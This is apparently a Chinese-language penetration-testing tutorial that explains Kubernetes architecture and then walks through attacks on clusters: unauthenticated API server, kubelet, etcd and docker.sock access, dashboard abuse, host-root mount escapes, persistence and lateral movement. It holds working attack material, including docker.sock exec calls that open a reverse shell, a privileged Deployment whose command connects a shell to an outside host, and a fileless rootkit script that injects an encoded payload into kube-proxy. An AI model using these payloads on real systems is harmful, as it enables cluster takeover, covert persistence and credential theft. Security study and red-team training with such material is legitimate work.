一、云
《云是什么- 定义 - Microsoft Azure》 二、何为k8sk8s即Kubernetes。 其为google开发来被用于容器管理的开源应用程序,可帮助创建和管理应用程序的容器化。 用一个的例子来描述:”当虚拟化容器Docker有太多要管理的时候,手动管理就会很麻烦,于是我们便可以通过k8s来简化我们的管理” 0x00 K8S 架构简述我们在上文已经知道,K8S是用于管理虚拟化容器的一个应用系统,在这小节中会着重讲述K8S的架构、实现原理。 下图为K8S架构的概览:
k8s主要由较少的master节点以及其对应的多个Node节点组成。master用于对Node节点进行控制管理,一个k8s集群中至少要有一台master节点。 Master节点中包含很多的组件,主要为如下 etcd : 它存储集群中每个节点可以使用的配置信息。它是一个高可用性键值存储,可以在多个节点之间分布。只有Kubernetes API服务器可以访问它,因为它可能具有一些敏感信息。这是一个分布式键值存储,所有人都可以访问。 简而言之:存储节点信息 API server : Kubernetes是一个API服务器,它使用API在集群上提供所有操作。API服务器实现了一个接口,这意味着不同的工具和库可以轻松地与其进行通信。Kubeconfig是与可用于通信的服务器端工具一起的软件包。它公开Kubernetes API 。简而言之:读取与解析请求指令的中枢 Controller Manage : 该组件负责调节群集状态并执行任务的大多数收集器。通常,可以将其视为在非终止循环中运行的守护程序,该守护程序负责收集信息并将其发送到API服务器。它致力于获取群集的共享状态,然后进行更改以使服务器的当前状态达到所需状态。关键控制器是复制控制器,端点控制器,名称空间控制器和服务帐户控制器。控制器管理器运行不同类型的控制器来处理节点,端点等。 简而言之:维护k8s资源 Scheduler : 这是Kubernetes master的关键组件之一。它是主服务器中负责分配工作负载的服务。它负责跟踪群集节点上工作负载的利用率,然后将工作负载放在可用资源上并接受该工作负载。换句话说,这是负责将Pod分配给可用节点的机制。调度程序负责工作负载利用率,并将Pod分配给新节点。 简而言之:负载均衡调度器 Node节点也包含了很多组件,主要如下 Docker : Docker引擎,运行着容器的基础环境 kubelet : 在每个node节点都存在一份,主要来执行关于资源操作的指令,负责pod的维护。 kube-proxy : 代理服务,用于负载均衡,在多个pod之间做负载均衡 fluentd : 日志收集服务 pod : pod是k8s的最小服务单元,pod内部才是容器,k8s通过操作pod来操作容器。一个Node节点可以有多个Pod Pod可以说是Node节点中最核心的部分,Pod也是一个容器,它是一个”用来封装容器的容器”。一个Pod中往往会装载多个容器,这些容器共用一个虚拟环境,共享着网络和存储等资源。 这些容器的资源共享以及相互交互都是由pod里面的pause容器来完成的,每初始化一个pod时便会生成一个pause容器。
0x01 K8S工作流程用户端命令下发通常流程如下:
0x02 搭建K8S见《K8S环境搭建.md》 0x03 k8S的基础概念https:///learning/(非常好的中文教程) https:///zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式 操作界面,稍微有点不好的是有些地方没有中文) 部署(Deployment)
Deployment 译名为 部署。在k8s中,通过发布 Deployment,可以创建应用程序 (docker image) 的实例 (docker container),这个实例会被包含在称为 Pod 的概念中,Pod 是 k8s 中最小可管理单元。 在 k8s 集群中发布 Deployment 后,Deployment 将指示 k8s 如何创建和更新应用程序的实例,master 节点将应用程序实例调度到集群中的具体的节点上。 创建应用程序实例后,Kubernetes Deployment Controller 会持续监控这些实例。如果运行实例的 worker 节点关机或被删除,则 Kubernetes Deployment Controller 将在群集中资源最优的另一个 worker 节点上重新创建一个新的实例。这提供了一种自我修复机制来解决机器故障或维护问题。 在容器编排之前的时代,各种安装脚本通常用于启动应用程序,但是不能够使应用程序从机器故障中恢复。通过创建应用程序实例并确保它们在集群节点中的运行实例个数,Kubernetes Deployment 提供了一种完全不同的方式来管理应用程序。
相关命令:
一个yaml文件差不多就长这样: (nginx-deployment.yaml) apiVersion: apps/v1 #与k8s集群版本有关,使用 kubectl api-versions 即可查看当前集群支持的版本kind: Deployment #该配置的类型,我们使用的是 Deployment metadata: #译名为元数据,即 Deployment 的一些基本属性和信息 name: nginx-deployment #Deployment 的名称 labels: #标签,可以灵活定位一个或多个资源,其中key和value均可自定义,可以定义多组,目前不需要理解 app: nginx #为该Deployment设置key为app,value为nginx的标签 spec: #这是关于该Deployment的描述,可以理解为你期待该Deployment在k8s中如何使用 replicas: 1 #使用该Deployment创建一个应用程序实例 selector: #标签选择器,与上面的标签共同作用,目前不需要理解 matchLabels: #选择包含标签app:nginx的资源 app: nginx template: #这是选择或创建的Pod的模板 metadata: #Pod的元数据 labels: #Pod的标签,上面的selector即选择包含标签app:nginx的Pod app: nginx spec: #期望Pod实现的功能(即在pod中部署) containers: #生成container,与docker中的container是同一种 - name: nginx #container的名称 image: nginx:1.7.9 #使用镜像nginx:1.7.9创建container,该container默认80端口可访问 POD与Node
Pod 容器组 是一个k8s中一个抽象的概念,用于存放一组 container(可包含一个或多个 container 容器,即图上正方体),以及这些 container (容器)的一些共享资源。这些资源包括:
POD是集群上最基础的单元 下图中的一个 Node(节点)上含有4个 Pod(容器组)
Pod(容器组)总是在 Node(节点) 上运行。Node(节点)是 kubernetes 集群中的计算机,可以是虚拟机或物理机。每个 Node(节点)都由 master 管理。一个 Node(节点)可以有多个Pod(容器组),kubernetes master 会根据每个 Node(节点)上可用资源的情况,自动调度 Pod(容器组)到最佳的 Node(节点)上。 一个Node节点的状态大致有以下的东西
#获取类型为Pod的资源列表 kubectl get pods #获取类型为Node的资源列表 kubectl get nodes # kubectl describe 资源类型 资源名称 #查看名称为nginx-XXXXXX的Pod的信息 kubectl describe pod nginx-XXXXXX #查看名称为nginx的Deployment的信息 kubectl describe deployment nginx #查看名称为nginx-pod-XXXXXXX的Pod内的容器打印的日志 kubectl logs -f podname #在Pod中运行命令 kubectl exec -it nginx-pod-xxxxxx /bin/bash 服务(Service)
通过以上内容我们知道,应用程序所在的Pod是一直变动着的,而每个Pod的ip又不一样,但是对于前端用户来说,应用程序的访问地址应该是唯一的才行。 因此k8s提供了一个机制用来为前端屏蔽后端Pod变动带来的IP变动,这便是Service。 Service为一系列有相同特征的Pod(一个应用的Pod在不停变换,但是不论怎么变换这些Pod都有相同的特征)定义了一个统一的访问方式, Service是通过标签选择器(LabelSelector)来识别有哪些Pod有相同特征(带有特定Lable标签的POD,Lable可以由用户设置,标签存在于所有K8S对象上并不仅仅局限于Pod) 可以编成一个容器组的。 Service有三种选项暴露应用程序的入口,可以通过设置应用程序配置文件中的Service 项的spec.type 值来调整:
使用 NAT 在集群中每个的同一端口上公布服务。这种方式下,可以通过访问集群中任意节点+端口号的方式访 问服务
在云环境中(需要云供应商可以支持)创建一个集群外部的负载均衡器,并为使用该负载均衡器的 IP 地址作为 服务的访问地址。此时 ClusterIP 和 NodePort 的访问方式仍然可用。 下图中有两个服务Service A(黄色虚线)和Service B(蓝色虚线) Service A 将请求转发到 IP 为 10.10.10.1 的Pod上, Service B 将请求转发到 IP 为 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。
Service 将外部请求路由到一组 Pod 中,它提供了一个抽象层,使得 Kubernetes 可以在不影响服务调用者的情况下,动态调度容器组(在容器组失效后重新创建容器组,增加或者减少同一个 Deployment 对应容器组的数量等)。 在每个节点上都有Kube-proxy服务,Service使用其将链接路由到Pod 伸缩(Scaling)应用程序可以通过更改deployment配置文件中的replicas项来设置开启的POD数量 在前面,我们创建了一个 Deployment,然后通过 服务提供访问 Pod 的方式。我们发布的 Deployment 只创建了一个 Pod 来运行我们的应用程序。当流量增多导致应用程序POD负载加重后,我们需要对应用程序进行伸缩操作,增加POD数量来减轻负担,访问流量将会通过负载均衡在多个POD之间转发。 伸缩 的实现可以通过更改 nginx-deployment.yaml 文件中部署的 replicas(副本数)来完成 执行滚动更新(Rolling Update)当我们想对已经部署的程序进行升级更新,但又不想让程序停止,就可以使用滚动更新来实现。 滚动更新通过使用新版本的POD逐步替代旧版本POD来实现零停机更新 滚动更新是K8S默认的更新方式 0x04 k8s用户Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。
0x05 k8s访问控制过程(安全机制)
k8s 中所有的 api 请求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。主要实现的功能就是api 的认证 + 鉴权以及准入控制。
三种机制:
注意:认证授权过程只存在HTTPS形式的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权 k8s认证X509 client certs客户端证书认证,X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。 user 生成 kubeconfig就是X509 client certs方式。 Service Account Tokens因为基于x509的认证方式相对比较复杂,不适用于k8s集群内部pod的管理。Service Account Tokens是 service account 使用的认证方式。定义一个 pod 应该拥有什么权限。一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树中,位于 service account 主要包含了三个内容:namespace、token 和 ca
k8s鉴权K8S 目前支持了如下四种授权机制:
具体到授权模式其实有六种:
可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝请求。 从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。 三、K8S攻击矩阵
下图是K8S的一些攻击矩阵
本文就围绕着这个框架,叙述一些有用的攻击手法吧 0x00 k8s环境中的信息收集信息收集与我们的攻击场景或者说进入的内网的起点分不开。一般来说内网不会完全基于容器技术进行构建。所以起点一般可以分为权限受限的容器和物理主机内网。 在K8s内部集群网络主要依靠网络插件,目前使用比较多的主要是Flannel和Calico 主要存在4种类型的通信:
当我们起点是一个在k8s集群内部权限受限的容器时,和常规内网渗透区别不大,上传端口扫描工具探测即可。 k8s常用端口在k8s环境中,内网探测可以高度关注的端口: (各端口的渗透在下面会展开) 0x01 初始访问1、云账号AK泄露在如今的云的大环境下,许多业务代码想要与云服务进行通信,就需要通过accesskey这个东西进行鉴权,鉴权通过后才能与云服务进行通信。 通俗来讲,人想要访问一个服务,往往需要提供密码来进行身份验证;而代码想要访问一个云服务API,则需要提供accesskey来进行身份验证。 如果accesskey泄露了,我们便可以利用这个accesskey来与云服务通信,反弹个云主机的shell回来作为入口点慢慢往内打。 下面文章是关于云原生安全中accesskey安全更加详细的论述,阅读后可以对accesskey的概念有更深入的了解。 https://www./articles/web/287512.html https://www./articles/web/255717.html 2、恶意镜像在docker中,容器的建立依赖于镜像,如果pull得到的镜像是一个恶意镜像,或者pull得到的镜像本身就存在安全漏洞,便会带来安全风险 下图便是dockerhub上部署挖矿软件的恶意镜像,它会从github上下载恶意挖矿软件进行挖矿
3、API Server未授权(8080,6443)属于是K8S中的经典漏洞了 回顾一下API Server的作用,它在集群中被用于提供API来控制集群内部,如果我们能控制API Server,就意味着我们可以通过它利用kubectl创建Pod并使用磁盘挂载技术获取Node节点控制权(关于磁盘挂载获取节点shell的技术在后面的小节中再进行详细论述)。 API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),其中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证(8080和6443端口并不是固定的,是通过配置文件来控制的)。 insecure-port 开启API Server在8080端口上开放的服务应该是用于测试,但如果其在生存环境中被暴露出来,攻击者便可以利用此端口进行对集群的攻击。 但是利用API Server的8080端口进行未授权活动的前提条件略显苛刻(配置失当+版本较低),8080端口服务是默认不启动的,但如果用户在
环境前提:
重启服务 在实际环境中,因为8080端口相对比较常见,导致在内部排查常常忽略这个风险点。 利用
直接访问 8080 端口会返回可用的 API 列表:
使用kubectl可以指定IP和端口调用存在未授权漏洞的API Server。 如果没有kubectl,需要安装kubectl,安装可以参考官网文档: 使用kubectl获取集群信息:
注:如果你的kubectl版本比服务器的高,会出现错误,需要把kubectl的版本降低. 接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下: 然后使用 kubectl 创建容器,这个时候我们发现是无法指定在哪个节点上创建pod。 写入反弹 shell 的定时任务 稍等一会获得node02节点权限:
或者也可以通过写公私钥的方式控制宿主机。 如果apiserver配置了dashboard的话,可以直接通过ui界面创建pod。 secure-port 配置错误若我们不带任何凭证的访问 API server的 secure-port端口,默认会被服务器标记为 一般来说 利用方法一 正常情况应该是这样
但如果secure-port 配置失当出现了未授权,就会这样
方法二 利用cdk工具通过
创建特权容器:
之后的攻击方式和上面是一样的 4、k8s configfile 泄露k8s configfile配置文件中可能会有api-server登陆凭证等敏感信息,如果获取到了集群configfile内容(如泄露在github),将会对集群内部安全造成巨大影响。 这里引用阿里云社区的一张图
5、容器内部应用漏洞入侵顾名思义,容器内部应用就有问题(比如内部应用是tomcat,且有RCE漏洞),从而就会导致黑客获取Pod shell,拿到入口点 6、docker.sock 利用Docker以server-client的形式工作,服务端叫Docker daemon,客户端叫docker client。 Docker daemon想调用docker指令,就需要通过docker.sock这个文件向docker client进行通讯。换句话说,Docker daemon通过docker.sock这个文件去管理docker容器(如创建容器,容器内执行命令,查询容器状态等)。 同时,Docker daemon也可以通过配置将docker.sock暴露在端口上,一般情况下2375端口用于未认证的HTTP通信,2376用于可信的HTTPS通信。 公网暴露(2375)(Docker Daemon)如果docker daemon 2375端口暴露在了公网上,那么便可以直接利用该端口控制docker容器,并通过新建容器配合磁盘挂载技术获取宿主机权限。 fofa搜索 可以发现有很多暴露在公网的docker.sock,
我们选一个来试试水 可以发现是成功的调用了API查询了容器状态
然后我们可以通过如下指令,在指定容器内部执行命令 获取到一个id
然后请求这个id,执行此命令 就像这样:(图片引用自freebuf)
直接利用现成的docker.sock如果我们入侵了一个docker容器,这个docker容器里面有docker.sock(常用路径/var/run/docker.sock),那么就可以直接利用此文件控制docker daemon。 把上一小节的命令改改就行,加一个—unix-socket参数。 curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}' curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}" 一般来说docker.sock是存在于docker daemon服务端的,但如果开发人员想在docker容器里运行docker命令,就需要把宿主机的docker.sock挂载到容器内部了,这就给了我们docker逃逸的可乘之机。 实战案例Docker Daemon未授权访问的检测与利用: Docker Daemon未授权实战案例:
7、kubelet 未授权(10250/10255)
kubelet和kubectl的区别? kubelet是在Node上用于管理本机Pod的,kubectl是用于管理集群的。kubectl向集群下达指令,Node上的kubelet收到指令后以此来管理本机Pod。
kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet 的配置文件在node上的 我们重点关注配置文件中的这两个选项:第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否需要经过Api server进行授权(这样即使匿名⽤户能够访问也不具备任何权限)。
在默认情况下,kubelet配置文件就如上图所示,我们直接访问kubelet对应API端口会显示认证不通过
我们将配置文件中,authentication-anonymous-enabled改为true,authorization-mode改为AlwaysAllow,再使用命令
关于authorization-mode还有以下的配置: --authorization-mode=ABAC 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。 --authorization-mode=RBAC 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。 --authorization-mode=Webhook WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。 --authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。 --authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。 --authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。 在我们发现kubelet未授权后,可以进行以下操作拿到入口点 执行Pod内命令如果有kubelet未授权,那就可以用以下命令在Pod内执行命令 其中的参数可以从https://node_ip:10250/pods 中获取
可以直接回显命令结果,很方便
获取容器内service account凭据如果能在Pod内执行命令,那么就可以获取Pod里service account的凭据,使用Pod上的service account凭据可以用来模拟Pod上的服务账户进行操作,具体利用方法见下面的小节:[利用Service Account连接API Server执行指令](#利用Service Account连接API Server执行指令)
利用示例
访问https://192.168.11.160:10250/pods,出现如下数据表示可以利用:
想要在容器里执行命令的话,我们需要首先确定namespace、pod_name、container_name这几个参数来确认容器的位置。
这里可以通过检索securityContext字段快速找到特权容器
在对应的容器里执行命令,获取 Token,该token可用于Kubernetes API认证,Kubernetes默认使用RBAC鉴权(当使用kubectl命令时其实是底层通过证书认证的方式调用Kubernetes API) token 默认保存在pod 里的
如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限
接下来便是通过创建pod来挂载目录,然后用crontab来获得shell了 。 8、etcd 未授权(2379)etcd是k8s集群中的数据库组件,默认监听在2379端口,默认通过证书认证,主要存放节点的信息,如一些token和证书。如果2379存在未授权,那么就可以通过etcd查询集群内管理员的token,然后用这个token访问api server接管集群。 etcd有v2和v3两个版本,k8s用的是v3版本,所以我们在访问etcd的时候需要用命令 我们想要利用etcd未授权,需要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它 https://github.com/etcd-io/etcd/releases/
利用下载etcd:https://github.com/etcd-io/etcd/releases 解压后在命令行中进入etcd目录下。 etcdctl api版本切换: 探测是否存在未授权访问的Client API 如果我们在没有证书文件的前提下直接访问2375端口,是调用不了etcd应用的,会提示X509证书错误。
我们需要将以下文件加入环境变量(ca,key,cert)才能访问(如果有未授权,那么不用带证书都能访问) 或者直接执行: 查询管理员token我们可以直接在etcd里查询管理员的token,然后使用该token配合kubectl指令接管集群。
如果查询结果有敏感账户,我们便可以去获取他的token
拿到token以后,用kubectl接管集群 也可以尝试dump etcd数据库,然后去找敏感信息 如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify 9、私有镜像库暴露举个例子,如果一个企业它的许多云上应用都是用的自建的私有镜像搭建的,有一天它私有镜像泄露出来了,我们就可以通过审计等手段去挖掘私有镜像中的漏洞,造成供应链打击。 10、Dashboard面板爆破dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。
利用默认配置登陆是需要输入 Token 的且不能跳过
但是如果在配置参数中添加了如下参数,那么在登陆的过程中就可以进行跳过 Token 输入环节
点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。
给Kubernetes-dashboard绑定cluster-admin:
绑定完成后,再次刷新 dashboard 的界面,就可以看到整个集群的资源情况。
获取访问后直接创建特权容器即可getshell 0x02 执行目录挂载逃逸这个技术是综合了执行、持久化、权限提升的一个攻击方法,为了省事,就放在这里一块说了。 首先,在我们获取了api server控制权后,我们可以创建Pod,并在Pod内部执行命令。如果我们在创建Pod时,将Node节点的根目录挂载到Pod的某个目录下,由于我们能在Pod内部执行命令,所以我们可以修改挂载到Pod下的Node节点根目录中文件的内容,如果我们写入恶意crontab、web shell、ssh公钥,便可以从Pod逃逸到宿主机Node,获取Node控制权。 具体复现如下 先创建一个恶意Pod 用deployment创建 apiVersion: apps/v1 kind:Deployment metadata: name:nginx-deployment labels: apps:nginx-test spec: replicas:1 selector: matchLabels: app:nginx template: metadata: labels: app:nginx spec: containers: - image:nginx name:container volumeMounts: - mountPath : /mnt name: test-volume volumes: - name: test-volume hostPath: path: / 将以上文本写入到一个yaml文件中,然后执行 恶意容器就创建好了 创建好了后使用命令 然后使用命令 大致流程一张图表示如下
利用Service Account连接API Server执行指令k8s有两种账户:用户账户和服务账户,用户账户被用于人与集群交互(如管理员管理集群),服务账户用于Pod与集群交互(如Pod调用api server提供的一些API进行一些活动) 如果我们入侵了一台有着高权限服务账户的Pod,我们就可以用它对应的服务账户身份调用api server向集群下达命令。 pod的serviceaccount信息一般存放 于 但是默认的user或者service account并不具备任何权限 这是默认情况下,一个pod使用自身service account(默认为当前命名空间的default账户)去请求api server返回的结果,可以发现是没有权限的: $ CA_CERT=/var/run/secrets//serviceaccount/ca.crt $ TOKEN=$(cat /var/run/secrets//serviceaccount/token) $ NAMESPACE=$(cat /var/run/secrets//serviceaccount/namespace) $ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" "https://192.168.111.20:6443/version/" "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "version is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope", "reason": "Forbidden", "details": { "kind": "version" }, "code": 403 那么我现在创建一个高权限service account 并使其与一个Pod相关联,来复现一下这个攻击手法 首先创建一个高权限service account 然后将service account与pod相关联
再试一下,发现可以调用api server了
0x03 持久化这里的持久化是指如何在Pod中持久化、如何在Node中持久化、如何在集群中持久化。 如何在Node中持久化,在上一小节中已经提到过一些:通过写入crontab,ssh公钥,webshell实现,但个人觉得这几个手段与其说是持久化,不如说是权限提升更符合实际一点,因为这几个手段在实际渗透中都是为了从Pod逃逸出来获取Node权限。 同时,在Pod,Node,Master上做持久化,有大部分方法本质上是“如何在linux机器上做持久化”,而“如何在linux机器上做持久化”方法就太多了,这里就只着重于讲述在“云环境”里独有的持久化方法。 在私有镜像库中植入后门(Pod持久化)如果接管了对方的私有镜像库,我们便可以直接在其对象Dockerfile中塞入恶意指令(反弹shell等) 或者编辑镜像的文件层代码,将镜像中原始的可执行文件或链接库文件替换为精心构造的后门文件之后再次打包成新的镜像。 修改核心组件访问权限(集群持久化)包括且不限于 更改配置暴露apiserver 8080端口、暴露docker.sock、暴露未授权etcd、暴露未授权kubelet等修改集群配置文件达到持久化的方法。 shadow api server(集群持久化/cdk工具利用)部署一个额外的未授权且不记录日志的api server以供我们进行持久化。 我们可以用github上专门用于k8s渗透的工具cdk(这个工具很屌)来做到这一点 https://github.com/cdk-team/CDK/wiki/CDK-Home-CN https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver Deployment创建容器时,通过启用 ● ReplicationController(RC)
状态。 ● Replication Set(RS)
● Deployment 主要职责和 这里使用 #dep.yaml apiVersion: apps/v1 kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态 metadata: name: nginx-deploy labels: k8s-app: nginx-demo spec: replicas: 3 #指定Pod副本数量 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: hostNetwork: true hostPID: true containers: - name: nginx image: nginx:1.7.9 imagePullPolicy: IfNotPresent command: ["bash"] #反弹Shell args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"] securityContext: privileged: true #特权模式 volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / type: Directory #创建 kubectl create -f dep.yaml Rootkit这里介绍一个
● ● ● 动态容器注入(高隐蔽性) ● ● 无文件攻击(高隐蔽性)
volume_name=cache mount_path=/var/kube-proxy-cache ctr_name=kube-proxy-cache binary_file=/usr/local/bin/kube-proxy-cache payload_name=cache secret_name=proxy-cache secret_data_name=content ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}') volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}') image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}') # create payload secret cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f - apiVersion: v1 kind: Secret metadata: name: $secret_name namespace: kube-system type: Opaque data: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA...... # inject malicious container into kube-proxy pod kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" | kubectl --kubeconfig /root/.kube/config replace -f - cronjob持久化
0x04 权限提升指从pod拿到Node的shell,或者拿到集群控制权。 上面的小节提到过一些,比如kubectl未授权、docker.sock、挂载目录、高权限Service account等方法。 除此之外还有Docker、k8s的一些CVE Docker逃逸如CVE-2019-5736,CVE-2019-14271,CVE-2020-15257、CVE-2022-0811 k8s提权到接管集群的如CVE-2018-1002105,CVE-2020-8558 docker逃逸可以看之前总结的容器逃逸相关文章,这里说一下特权容器逃逸 特权容器逃逸当容器启动加上 而K8s配置文件启用了 实战案例: 通过漏洞获取 0x05 探测● 内网扫描 ● K8s常用端口探测 ● 集群内部网络 是否在容器环境中
集群内网扫描
● 同一 ● 各 ● ● 集群外部的流量与 所以和常规内网渗透无区别, K8s常用端口探测集群内部网络● ● 0x06 横向移动目的通常来说,拿到kubeconfig或者能访问apiserver的ServiceAccount token,就代表着控下了整个集群。 但往往在红队攻击中,我们常常要拿到某一类特定重要系统的服务器权限来得分。前面我们已经可以在节点上通过创建pod来逃逸,从而获得节点对应主机的权限,那么我们是否能控制pod在指定节点上生成,逃逸某个指定的Node或Master节点。 亲和性与反亲和性一般来说我们部署的Pod是通过集群的自动调度策略来选择节点的,但是因为一些实际业务的需求可能需要控制某些pod调度到特定的节点。就需要用到 Kubernetes 里面的一个 概念:亲和性和反亲和性。 亲和性又分成节点亲和性( nodeAffinity )和 Pod 亲和性( podAffinity )。
节点亲和性( nodeAffinity )节点亲和性主要是用来控制 pod 要部署在哪些主机上,以及不能部署在哪些主机上的,演示一下: 查看node的label命令 给节点打上label标签 当node 被打上了相关标签后,在调度的时候就可以使用这些标签了,只需要在 Pod 的spec字段中添加 nodeSelector 字段 Pod 亲和性( podAffinity )pod 亲和性主要处理的是 pod 与 pod 之间的关系,比如一个 pod 在一个节点上了,那么另一个也得在这个节点,或者你这个 pod 在节点上了,那么我就不想和你待在同一个节点上。 污点与容忍度节点亲和性是 Pod的一种属性,它使 Pod 被吸引到一类特定的节点。 污点(Taint)则相反——它使节点能够排斥一类特定的 Pod。 污点标记选项:
我们使用kubeadm搭建的集群默认就给 master 节点(主节点)添加了一个污点标记,所以我们看到我们平时的 pod 都没有被调度到master 上去。除非有
给指定节点标记污点 taint :
上面将 k8s-node01 节点标记为了污点,影响策略是 NoSchedule,只会影响新的 pod 调度。 由于 node01节点被标记为了污点节点,所以我们这里要想 pod 能够调度到 node01节点去,就需要增加容忍的声明
使用污点和容忍度能够使Pod灵活的避开某些节点或者将某些Pod从节点上驱逐。 详细概念可以参考官网文档:污点和容忍度 | Kubernetes 实现master节点逃逸比如要想获取到master节点的shell,则可以从这两点考虑
查看k8s-master的节点情况,确认Master节点的容忍度:
创建带有容忍参数并且挂载宿主机根目录的Pod
之后按照上面逃逸node01节点的方式写入ssh公钥即可getshell。
四、后渗透&集群持久化https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA 五、参考https://www./2022/03/13/k8s安全 入门学习/ (k8s基础、攻击矩阵) https://xz.aliyun.com/t/11316 (K8S云原生环境渗透学习) https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA (K8S后渗透横向节点与持久化隐蔽方式探索) https://mp.weixin.qq.com/s/emej9iAFTgr14Y_Q3-aYNA https:///learning/(非常好的中文教程) https:///zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有点不好的是有些地方没有中文) 永远相信 永远热爱 |
|